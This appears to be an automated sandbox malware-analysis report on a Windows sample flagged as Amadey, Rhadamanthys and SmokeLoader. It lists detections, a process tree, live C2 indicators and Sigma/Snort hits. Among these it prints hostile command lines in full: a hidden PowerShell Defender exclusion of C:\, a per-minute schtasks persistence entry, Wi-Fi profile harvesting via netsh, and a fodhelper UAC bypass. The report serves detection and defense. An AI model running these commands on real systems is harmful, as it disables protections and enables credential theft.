Edit tour

Windows Analysis Report
e7CLP6462y.exe

Overview

General Information

Sample name:	e7CLP6462y.exe renamed because original name is a hash value
Original sample name:	d9a13bb5645fe754cdc2a10a638660f4.exe
Analysis ID:	1422947
MD5:	d9a13bb5645fe754cdc2a10a638660f4
SHA1:	9922a24b92892f920430ae204954dc6e6e1758ff
SHA256:	82a6847b83bf25cb582bb942735a32197bd9b7b490ce50f34c4976005f4f9bed
Tags:	exe
Infos:

Detection

Amadey, RHADAMANTHYS, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadey

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected RHADAMANTHYS Stealer

Yara detected SmokeLoader

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates an undocumented autostart registry key

Found many strings related to Crypto-Wallets (likely being stolen)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Sample uses string decryption to hide its real strings

Sigma detected: Bypass UAC via Fodhelper.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (STR)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

e7CLP6462y.exe (PID: 6952 cmdline: "C:\Users\user\Desktop\e7CLP6462y.exe" MD5: D9A13BB5645FE754CDC2A10A638660F4)

dialer.exe (PID: 7144 cmdline: "C:\Windows\system32\dialer.exe" MD5: E4BD77FB64DDE78F1A95ECE09F6A9B85)

OpenWith.exe (PID: 6300 cmdline: "C:\Windows\system32\openwith.exe" MD5: E4A834784FA08C17D47A1E72429C5109)

AppLaunch.exe (PID: 7124 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" MD5: E9C3EC13A9C77B393692D748D8EB83CE)

cmd.exe (PID: 3668 cmdline: "cmd.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7112 cmdline: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'" MD5: 04029E121A0CFA5991749937DD22A1D9)

WmiPrvSE.exe (PID: 4048 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

D4C0.vmt.exe (PID: 4820 cmdline: "C:\Users\user\AppData\Roaming\D4C0.vmt.exe" MD5: B45B01A98A16E750EFE0C5BCE4613896)

explorer.exe (PID: 2580 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

B677.exe (PID: 1712 cmdline: C:\Users\user\AppData\Local\Temp\B677.exe MD5: D9A13BB5645FE754CDC2A10A638660F4)

B88B.exe (PID: 2792 cmdline: C:\Users\user\AppData\Local\Temp\B88B.exe MD5: F1D836A36148E8D03BF2DF952E970FBD)

Utsysc.exe (PID: 4336 cmdline: "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" MD5: F1D836A36148E8D03BF2DF952E970FBD)

schtasks.exe (PID: 3736 cmdline: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7112 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 6216 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 6300 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

tar.exe (PID: 1832 cmdline: tar.exe -cf "C:\Users\user\AppData\Local\Temp\246122658369_Desktop.tar" "C:\Users\user\AppData\Local\Temp\_Files_\*.*" MD5: 3596DC15B6F6CBBB6EC8B143CBD57F24)

conhost.exe (PID: 5336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 5160 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

explorer.exe (PID: 4364 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 7108 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 6072 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 2668 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 2564 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 1816 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

dialer.exe (PID: 4280 cmdline: "C:\Windows\system32\dialer.exe" MD5: E4BD77FB64DDE78F1A95ECE09F6A9B85)

explorer.exe (PID: 4112 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

explorer.exe (PID: 3740 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

explorer.exe (PID: 2164 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

OpenWith.exe (PID: 940 cmdline: "C:\Windows\system32\openwith.exe" MD5: E4A834784FA08C17D47A1E72429C5109)

AppLaunch.exe (PID: 5252 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" MD5: E9C3EC13A9C77B393692D748D8EB83CE)

cmd.exe (PID: 6336 cmdline: cmd.exe /k START C:\Windows\System32\fodhelper.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fodhelper.exe (PID: 5624 cmdline: C:\Windows\System32\fodhelper.exe MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 6500 cmdline: "C:\Windows\System32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 6704 cmdline: "C:\Windows\System32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

AppLaunch.exe (PID: 6916 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" MD5: E9C3EC13A9C77B393692D748D8EB83CE)

conhost.exe (PID: 2260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

utihrjr (PID: 6656 cmdline: C:\Users\user\AppData\Roaming\utihrjr MD5: B45B01A98A16E750EFE0C5BCE4613896)

Utsysc.exe (PID: 7072 cmdline: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe MD5: F1D836A36148E8D03BF2DF952E970FBD)

Utsysc.exe (PID: 6264 cmdline: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe MD5: F1D836A36148E8D03BF2DF952E970FBD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88 https://github.com/echocti/ECHO-Reports/blob/main/Malware%20Analysis%20Report/Rhdamanthys/Rhadamanthys-EN.pdf https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://atillapro.com/", "https://atillapro.com/"]}

Threatname: Amadey

{"C2 url": "atillapro.com/vsdjcn3khS/index.php", "Version": "4.12"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\D4C0.vmt.exe	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
C:\Users\user\AppData\Roaming\utihrjr	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\B88B.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000003.2331168114.00000000020B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.2100590634.0000000001FB1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000003.1713798691.00000000004B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.2100122756.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000001.00000003.1718082970.0000000002F20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000000.2299545232.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1810596322.000002427DCD1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001F.00000003.2387945281.0000000005100000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.2336287336.0000000001FA1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000015.00000000.2323835443.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2303406320.000000000E710000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000E.00000003.2347834429.0000000003B00000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001F.00000003.2562723368.0000000004E55000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001F.00000003.2387276709.0000000004EE0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000002.00000003.2027669107.000002427DED1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000E.00000003.2381378926.00000000032C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001F.00000003.2382224824.0000000002CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001F.00000002.2601312967.00000000046A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000010.00000000.2306338149.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.2334298742.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x5c4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1717805323.00000000033D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000026.00000003.2656189017.000002077D791000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000001.00000002.1768060344.0000000004980000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: e7CLP6462y.exe PID: 6952	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: dialer.exe PID: 7144	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: OpenWith.exe PID: 6300	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author
13.0.utihrjr.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.2.utihrjr.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
6.2.AppLaunch.exe.18e5fb3d090.7.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
6.2.AppLaunch.exe.18e5fb2d070.4.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
6.2.AppLaunch.exe.18e5fb34b00.5.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.0.Utsysc.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.Utsysc.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
15.0.B88B.exe.2e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
31.3.dialer.exe.4ee0000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
31.3.dialer.exe.4ee0000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
31.3.dialer.exe.5100000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.3.e7CLP6462y.exe.3d30000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0.3.e7CLP6462y.exe.3b10000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
15.2.B88B.exe.2e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.0.D4C0.vmt.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.2.D4C0.vmt.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.0.Utsysc.exe.eb0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.3.dialer.exe.51c0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
1.3.dialer.exe.53e0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
31.3.dialer.exe.4ee0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
14.3.B677.exe.3b00000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: Bypass UAC via Fodhelper.exe

Source: Process started

Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" , CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe, ParentCommandLine: "C:\Windows\System32\fodhelper.exe" , ParentImage: C:\Windows\System32\fodhelper.exe, ParentProcessId: 6704, ParentProcessName: fodhelper.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe" , ProcessId: 6916, ProcessName: AppLaunch.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7112, ProcessName: powershell.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\utihrjr, CommandLine: C:\Users\user\AppData\Roaming\utihrjr, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\utihrjr, NewProcessName: C:\Users\user\AppData\Roaming\utihrjr, OriginalFileName: C:\Users\user\AppData\Roaming\utihrjr, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Users\user\AppData\Roaming\utihrjr, ProcessId: 6656, ProcessName: utihrjr

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, ParentProcessId: 4336, ParentProcessName: Utsysc.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F, ProcessId: 3736, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3668, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 7112, ProcessName: powershell.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: netsh wlan show profiles, CommandLine: netsh wlan show profiles, CommandLine|base64offset|contains: l, Image: C:\Windows\System32\netsh.exe, NewProcessName: C:\Windows\System32\netsh.exe, OriginalFileName: C:\Windows\System32\netsh.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 6216, ParentProcessName: rundll32.exe, ProcessCommandLine: netsh wlan show profiles, ProcessId: 6300, ProcessName: netsh.exe

Snort Signatures

ET TROJAN Amadey Bot Activity (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

Timestamp:	04/09/24-14:54:20.908137
SID:	2044597
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Activity M7 - Source IP: 192.168.2.4 - Destination IP: 185.196.8.137

